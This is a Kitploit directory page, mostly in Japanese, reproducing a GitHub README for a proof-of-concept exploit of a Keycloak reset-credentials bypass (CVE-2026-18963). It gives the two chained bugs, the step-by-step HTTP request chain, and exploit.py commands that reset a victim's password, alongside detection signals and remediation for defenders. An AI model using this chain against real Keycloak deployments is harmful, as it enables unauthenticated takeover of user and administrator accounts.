Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-18963-keycloak — CVE-2026-18963 の概念実証エクスプロイト。認証されていないアカウント乗っ取りを可能にする重大な Keycloak reset-credentials バイパスです。認可されたテストのためのラボ環境構築、検出ガイダンス、および修復手順が含まれます。 | Kitploit
ツール/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ認証学習と教育
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

CVE-2026-18963 の概念実証エクスプロイト。認証されていないアカウント乗っ取りを可能にする重大な Keycloak reset-credentials バイパスです。認可されたテストのためのラボ環境構築、検出ガイダンス、および修復手順が含まれます。

リポジトリを見る
203462ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-18963 — Keycloak リセットクレデンシャルバイパス → アカウント乗っ取り

Keycloakのリセットクレデンシャルフローにおける未認証のアカウント乗っ取り。 ユーザー名/メールアドレスのみを知っている攻撃者が、検証メールを一切受け取ることなく、 管理者を含む任意のユーザーのパスワードをリセットできる。

CVE CVSS CWE License


⚠️ 免責事項 — 倫理的な使用のみ

この概念実証は、教育目的、防御研究、検出エンジニアリング、および許可されたセキュリティテストに厳密に限定して公開されています。

  • 所有しているシステム、またはテストに対する明示的な書面による許可を得ているシステムに対してのみ使用してください。許可なくシステムにアクセスしたり変更したりすることは違法であり、非倫理的です。
  • これは防御/教育リソースであり、チームがCVE-2026-18963を理解し、検出し、修復するのを支援することを目的としており、第三者を攻撃するためのものではありません。
  • 作者 (red-darkin) は、このコードを用いて行われたいかなる誤用、損害、または違法行為に対しても一切の責任を負いません。 その使用方法および適用されるすべての法律の遵守については、あなた自身が単独で責任を負います。
  • このリポジトリをダウンロードまたは使用することにより、これらの条件に同意したものとみなされます。同意しない場合は、使用しないでください。

完全な声明については DISCLAIMER.md を参照してください。


概要

CVECVE-2026-18963
深刻度Critical — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
脆弱性CWE-640 — 脆弱なパスワード回復メカニズム
影響を受けるバージョンKeycloak < 26.7.2 (アップストリーム)。RHビルドストリームも 26.6.6 / 26.4.15 バンドルで修正済み
修正済みKeycloak 26.7.2 (PR #51844)
前提条件レルムで Forgot password (リセットクレデンシャル) が有効 — これがデフォルト
影響任意のユーザー (レルム管理者を含む) の完全なアカウント乗っ取り → IdPの侵害 + 横方向のSSOアクセス

仕組み — 連鎖する2つのバグ

パスワードリセット (reset-credentials) フローは通常、新しいパスワードを設定する前に、アカウント所有者にメール送信されたリンクをクリックすることを強制します。2つの欠陥により、攻撃者はこのチェックを完全に回避できます。

  1. スコープされていない「Try Another Way」状態 — 認証セレクターハンドラーは、ノート AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" を実行IDにスコープせずに保存します。フローに再び入ると、認証セッションが混乱した/古い状態のままになります。
  2. メールステップにおけるトークンチェックの欠如 — ResetCredentialEmail.action() は、ACTION_TOKEN_USER_ID を検証せずに (つまり、メール送信されたアクショントークンが実際に消費されたことを確認せずに) context.success() を呼び出します。

これらを連鎖させることで、認証セッションはメールを必要とせずに、任意のユーザーの UPDATE_PASSWORD ステップへと直接進みます。

GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
GET  /login-actions/reset-credentials …              ── choose-user form
POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
POST …reset-credentials      username=<victim>       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER

詳細なパッチ差分についてはdocs/ROOTCAUSE.mdを参照してください。


クイックスタート(ラボ)

Dockerとrequestsが利用可能なPython 3が必要です。

# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
./run_lab.sh                 # uses keycloak/keycloak:26.5.0

# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'

想定される末尾:

[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!

その後、victim / Pwned-2026! でログインし、乗っ取りが成功したことを確認します。

ネガティブコントロール(パッチ適用済み)

KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served

使用方法

python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification

すべてのHTTPレスポンスは検査用に ./dump/ へ書き込まれます。


Burp経由でのプロキシ

Keycloakはすでに 8080 を使用しているため、Burpのリスナーを別のポート(例: 8081)に向けてください:

python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081

Burp Repeater 用の生のリクエストチェーンは requests/burp-chain.txt にあります。


検出

同一認証セッション内で、メール検証を伴わずに行われたパスワード変更を探します:

  • そのセッションにおいて、先行する VERIFY_EMAIL / EXECUTE_ACTION_TOKEN なしの UPDATE_PASSWORD イベント。
  • tryAnotherWay=on を伴う reset-credentials リクエストの連続発生。
  • 同じ tab_id に対する login-actions/reset-credentials の複数回の再入力。

修復

  • Keycloak 26.7.2(または修正済みの RH ビルドストリーム)へアップグレードする — 最優先。
  • 一時的な緩和策:Realm settings → Login → Forgot password = Off。
  • パッチ適用後:管理者認証情報をローテーションし、リセット後は再ログインを強制し、上記の検出シグナルに対してアラートを設定する。

参考情報

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
  • 修正 PR #51844 — https://github.com/keycloak/keycloak/pull/51844
  • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
  • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

デモ

CVE-2026-18963 PoC

クレジット

  • red-darkin — ラボでの再現、PoC、および解説記事。
  • Claude (Anthropic) — 調査および PoC 開発の支援。

このチェーンは公開されている Keycloak のパッチ(PR #51844)およびコミュニティの解説記事と照合して裏付けられています。

ライセンス

MIT © red-darkin — 教育および許可されたテストでの使用のみを目的としています。

ツールをダウンロード